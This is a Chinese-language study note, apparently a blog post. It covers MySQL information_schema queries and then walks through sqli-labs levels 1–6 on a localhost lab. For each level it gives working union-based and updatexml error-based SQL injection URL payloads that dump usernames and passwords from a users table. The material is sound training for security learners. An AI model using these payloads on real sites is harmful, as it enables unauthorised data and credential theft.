如何通过information_schema数据库查表名,列名
首先要了解mysql和mariadb数据库默认自带的tables有哪些:
mariadb自带数据库
information_schema
performance_schema
mysql
MySQL自带数据库
information_schema
performance_schema
mysql
sys
test(可选,默认自带)
其中information_schema可以查到表名,列名,了解其过程:
use information_schema; #切换当前数据库为information_schema
show tables; #查看当前数据库内的表名
information_schema中要注意这三个表:tables,columns,schemata
首先我们desc这三个表,查看其具体表结构
查看tables表内的table_name,table_schema,发现name包括了所有数据库的表名,schema包括了所有表的所属数据库名--重复的很多
select table_name from tables;
select table_schema from tables;

同tables,columns表内的column_name包括了所有表的列名,table_name,table_schema相同

我们再查看schemata表,发现schema_name中包括了所有的数据库名

所以可以通过where table_schema='security'来进行精确查找某数据库(security)的表名

也可以通过where table_schema='security' and table_name = 'users'来精确查找某数据库内某表的列名

至此,表名列名我们都获得了,就可以查看某数据库内某张表的具体数据了

sql简单注入
个人理解:在url中写入sql语句同时绕过闭合字符,让mysql在数据库内执行该语句既是sql注入
通过order by语句列名排序可以用数字来代替列名,同时让数字超过列名数量,从而达成报错,可以得知当前表的列数,比如less-1中列数为3

通过联合查询(表1 union 表2)来查看显示字段的是第几列
#表1和表2必须列数相同,如果表1无法显示,则会显示表2

select 1,2,3创建显示简单表,但是2,3这些数字可以用函数来代替,而且会显示该函数执行结果

如上图,可获得当前数据库名和当前用户
Less-1:#'id' --闭合字符为' '
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users--+
#其中group_concat()函数能将一列数据在一行内显示

less-2: #id 相比less-1,缺少了'的闭合,即没有闭合字符
http://127.0.0.1/sqli/Less-2/?id=0 union select 1,group_concat(username,0x3a,password),3 from users--+

less-3: #('id')
http://127.0.0.1/sqli/Less-3/?id=0') union select 1,group_concat(username,0x3a,password),3 from users--+

less-4: #(" id ")
http://127.0.0.1/sqli/Less-4/?id=0") union select 1,group_concat(username,0x3a,password),3 from users--+

less-5: #'id' + 报错函数updatexml()可用
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),1,32),0x7e),1) --+
#substr()函数可以显示一段字符串中,可以从哪个字符开始显示,往下显示多少个字符,从而解决updatexml()函数报错最多只能显示32个字符的问题

less-6: #"id" + 报错函数可用
http://127.0.0.1/sqli/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),1,32),0x7e),1) --+
